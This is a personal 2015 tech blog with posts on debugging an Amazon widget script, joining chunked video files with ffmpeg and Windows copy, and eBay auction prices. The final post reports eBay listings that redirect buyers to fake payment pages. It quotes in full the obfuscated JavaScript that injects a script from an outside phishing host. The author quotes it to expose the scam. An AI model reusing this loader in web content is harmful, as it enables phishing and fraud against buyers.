Monday, 31 August 2015

Chasing ghostly Hemiptera

This morning I spent quite a while trying to debug why W3TC caching wasn't working for me. In the end it turned out that Chrome was sending PHP Session ID and wordpress cookies, presumably from some old session. But why hadn't they expired?

Well, I didn't look into that, but what I was trying to find out was why my site was hit by a request including OPCONFIG_WS_URL_US when including an Amazon carousel widget in the page. (The full URL being requested was /page-widget-displayed-on/OPCONFIG_WS_URL_US/widgets/q?MarketPlace=US&Operation=GetDisplayTemplate&ServiceVersion=20070822&WS=1&ID=Carousel&panda=1).

I traced this back to the swfobject.js file being included from Amazon to show the widget. In Firefox the URL gave a js file that contained (as well as various other code):

var de_ws_url = "OPCONFIG_WS_URL_DE";
var us_ws_url = "OPCONFIG_WS_URL_US";
var fr_ws_url = "OPCONFIG_WS_URL_FR";
var ca_ws_url = "OPCONFIG_WS_URL_CA";
var cn_ws_url = "OPCONFIG_WS_URL_CN";
var gb_ws_url = "OPCONFIG_WS_URL_GB";
var jp_ws_url = "OPCONFIG_WS_URL_JP";

But the exact same URL in Chrome gave a js file that contained:

var de_ws_url = "//";
var us_ws_url = "//";
var fr_ws_url = "//";
var ca_ws_url = "//";
var cn_ws_url = "//";
var gb_ws_url = "//";
var jp_ws_url = "//";

I wondered if Amazon was doing something weird like checking the UA string to see if the browser supported flash, and serving up a broken swfobject file to those that didn't support flash. But after clearing cache in FF, the file was the same as Chrome received, and so the problem was solved.

I can only guess that Amazon had some temporary problems, and FF cached the problem file, but by the time I tried it with Chrome the problem had been fixed.

Thursday, 20 August 2015

(Possibly) how eBay items have multiple bids when at their starting price

I noticed today that one of the items I was watching had two bids, but was still at the starting price. When I checked the bid history, it showed that the same bidder had bid twice, once a few days ago, and again today. So I think when this happens, it just means that the original bidder has bid again with a higher maximum bid.

Most of today (and the last few days in fact) I was just writing an article for my photo tips website.

Wednesday, 19 August 2015

Gluing a chunked video back together

Yesterday I tried downloading a replay of a video hosted on periscope. The video was delivered in the form of hundreds of chunks. After saving these files, the question was how to concatenate them back together into a single video file that I could watch later at my leisure. Quite possibly there is a full version of the video hosted at the same address the chunked files come from, but if there was, you'd need to know the filename.

I found that ffmpeg offers two different ways of concatenating video files together. Because I'm on windows, getting the list of files is rather tricky. Each chunk is named like 'chunk_38.ts'. What I ended up doing was creating a spreadsheet, and filling a cell with the first number (38 in my case), and next to this I added a cell with a formula to make the filename and output needed for ffmpeg CONCATENATE("file 'chunk_", A1, ".ts'"). Then I dragged these cells down via copy until I reached the number of the last chunk.

With that done, I copied the cells and pasted them into a plain text file. Then I just had to run the ffpmeg demuxer and point it to that file. Unfortunately this took a long time and didn't work well. I ended up with a video that said it was 2s long, but was actually much longer. But the video image stayed at the start. (I'm not sure about the audio as my sound wasn't working).

So then I tried the second ffmpeg option, which requires putting all the files into a single command. Using find and replace in the text editor, I replaced the new lines / carriage returns with the pipe character needed to separate the filenames for the ffmpeg command. But when I pasted the command into the command prompt, it was too many characters.

Looking it up, it seems there is no way to get around this limitation, the advice from MS is to modify your program so that it can read the parameters from a file rather than the command line. So I tried doing as many of the chunks as I could fit into a single command. Then I tried concatenating the result of the first concat with as many more of the chunks as I could fit into a second command. But this didn't work and I just got an error.

So I found a perl script for renaming files, and modified that to rename all of the files to just their number (with no file extension). That was the only way I could fit them all into a single command that wasn't too long for windows. I ran the command, and it created the video okay.

Today I fixed the problem with my sound card. I just had to uninstall the device, then reinstall the drivers. Why on earth it stopped working, I have no idea.

But I found that the video I created from the chunks had no sound (despite ffmpeg giving data on the total amount of audio copied to the output file as well as video). So searching the web again for another alternative way of concatenating files together in windows, I came across the copy command. Using this still had the same limits of needing the filenames to all fit within a single command. But it worked nicely, and very quickly.

So if you need to concatenate a chunked video back together in Windows, the copy command seems to be the best way to do it.

Friday, 14 August 2015

eBay maniacalty

Last Sunday, two Yamaha DD-55c electronic drum kits (one boxed) sold for £20 + £13 in separate auctions. Yet the same model sold for £51 + £9.95 P&P on Tuesday evening. And Saturday / Sunday are meant to be the best days for ending an auction and getting a high selling price!

I sold my scratched Tokina fisheye on eBay, and it ended up selling for £68.76 + £10 P&P. While the lens was scratched around the edge, it worked fine without problems for most usage - you could shoot into the sun without lens flare. The problem was mainly at night where you have lots of light sources around, this would sometimes cause flare. (The sometimes was enough of a problem for me that I decided to buy a replacement and sell this one).

The selling price seems very low to me, the lens normally sells for £300+. And another seller had listed a similar Canon EF 8-15 mm F/4 L USM Lens that has a scratched front element, but that flares when shot into the sun, and has a crack in the body, which sold for £400 + £11 P&P.

Similarly, another Canon 8-15 mm £530 + £9.80 P&P that has been scratched so if the photo is overexposed or taken against direct sunlight then the scratches will appear on one side. However this is only in certain occasions. There is also a tiny crack in the base of the lens Whereas an excellent condition boxed Canon 8-15mm sold for £560 + £10.00 P&P. So only £30 more for a version of the lens that works properly than a scratched flare inducing lens.

It seems that people are willing to bid much more for broken versions of some lenses than for others? Another good example of this is another lens that I sold. I bought a Samyang 14mm lens that was in parts, but the seller stated that all the screws and parts were included. They said that they managed to scratch the front of the lens, and had tried dismantling it to fix it, but gave up without success. I paid £30.07 + £3.30 P&P.

When I received the lens, it turned out the front element was scratched much more than I thought it was. After putting the lens back together, I tried it out and images were noticeably soft in the middle. I also had some screws left over. I listed it on eBay, with a link to a full size image showing the problem, and clearly stating the problem and that there were spare screws left over from putting it back together. Yet it sold for £165 + £20 P&P (to an overseas buyer)! With a bit of patience you could probably pick up a good condition copy of the lens for that much.

I sold a collection of photographic accessories for £3.23 + £4.50 P&P. The total value of the collection was probably more like £70 - £100. I also bought a collection of photographic accessories for £8.60 + £5.99. I then resold a couple of items from this collection, selling one for £5.00 inc. postage, and another for £12.79 inc. postage. So it seems quite clear to me now - don't sell items together as a bundle (by auction anyway), but rather split them up and sell separately.

Here are some other notable cheap / expensive items from my watch list:

  • Lot of 5x Fuji Fujinon-TV C-Mount Zoom Lens H6X12.5R f1.2 sold for £133.11 + £6.00 P&P. I'm not sure if that is a good deal or not, but I suspect it is. The description stated: For 2/3″ C-mount, focal length from 12.5mm to 72.5mm, very bright constant f1.2 aperture. Includes front and back caps as well as high quality Pentax/Cosmicar 2x teleconverters and a couple of basic plastic lens hoods.
  • Paramo Halcon Traveller jacket (large) sold for £55 + £6 P&P. The only problem with it was I have used it to walk the dog and the top left pocket has the remnants of a dog treat which although removed has caused a slight staining on the inside that I have tried to show. It is not visible on the outside. so seems like quite a good deal to me.
  • Canon EF 135 mm f/2.8 Softfocus Lens sold for £50 + £4.95 P&P. According to the description there's the piece of crud you can see on the front element... The contamination doesn't show through in any images. Even pixel peeping raw's in LR.. So probably a good deal, especially if the crud was actually just under the front element, as it could probably be removed without much trouble.
  • Camera Cross Slide Novoflex Castel Q with QR plate sold for £139.69 + £5.80 P&P, a great deal for the buyer. (Retails for $649.95 on B&H).
  • 2 Pairs ROHAN Dry Ascent Trousers - Waist 32" Regular - Slate Grey sold for £28.67 + £3.30 P&P. So that's £16 each for trousers that retailed for about £100, given the description said they were in excellent condition, sounds like a great deal to me.
  • X-Rite i1Display Pro Calibrator sold as untested, with no refund if not working, sold for £69 + £3.95 P&P. A good deal if it is working, but seems a big price to pay for the risk of getting a broken unit to me.
  • Novoflex NOFLEXAR 3,5/35 mm Macro Lens sold for US $223.01 + $12 P&P. In excellent condition, but still seems a bit pricy to me.

And of course, there were the normal bevy of items that were ended early because of 'an error in the listing' and a few items that had been sold then relisted due to non-paying bidders. (Interestingly I had a non-paying buy-it-nower).

Monday, 10 August 2015

eBay still happy to let people be scammed

I wrote back in March about eBay allowing javascript in item listings that redirects the user to a fake ebay site, and it seems that eBay are still happy to let this practice continue. I found the same thing happening to me today, after clicking through on an item I was redirected to a fake eBay site with a But it Now listing requiring bank transfer as the payment.

It was quite a good scam actually as the fake page made it look like it was from a seller that regularly sells expensive items, and has good feedback, and so would be quite trustworthy. Of course, while the actual seller on the real ebay they were pretending to be is very likely trustworthy, the fake seller most definitely would not be.

They were using a hacked account on eBay for the redirecting listing, and included the following js to do the redirection:

var az = "SC";var bz = "RI";var cz = "PT";var dz = "SR";var ez = "C=";var fz = "h"+"t"+"t";var gz = "p"+":/"+"/"+"";var gx = "b"+"u"+"l"+"l"+"k";var fz0 = "b"+"u"+"y"+"u"+"k"+"."+"c"+"o"+"m/TAB."+"J"+"S";document.write ("<"+az+bz+cz+" type='text/javascript'"+dz+ez+fz+gz+gx+fz0+">");document.write("</"+az+bz+cz+">");

Similar to the technique I posted about back in March, but this one appears to be even simpler, with the characters in plain text.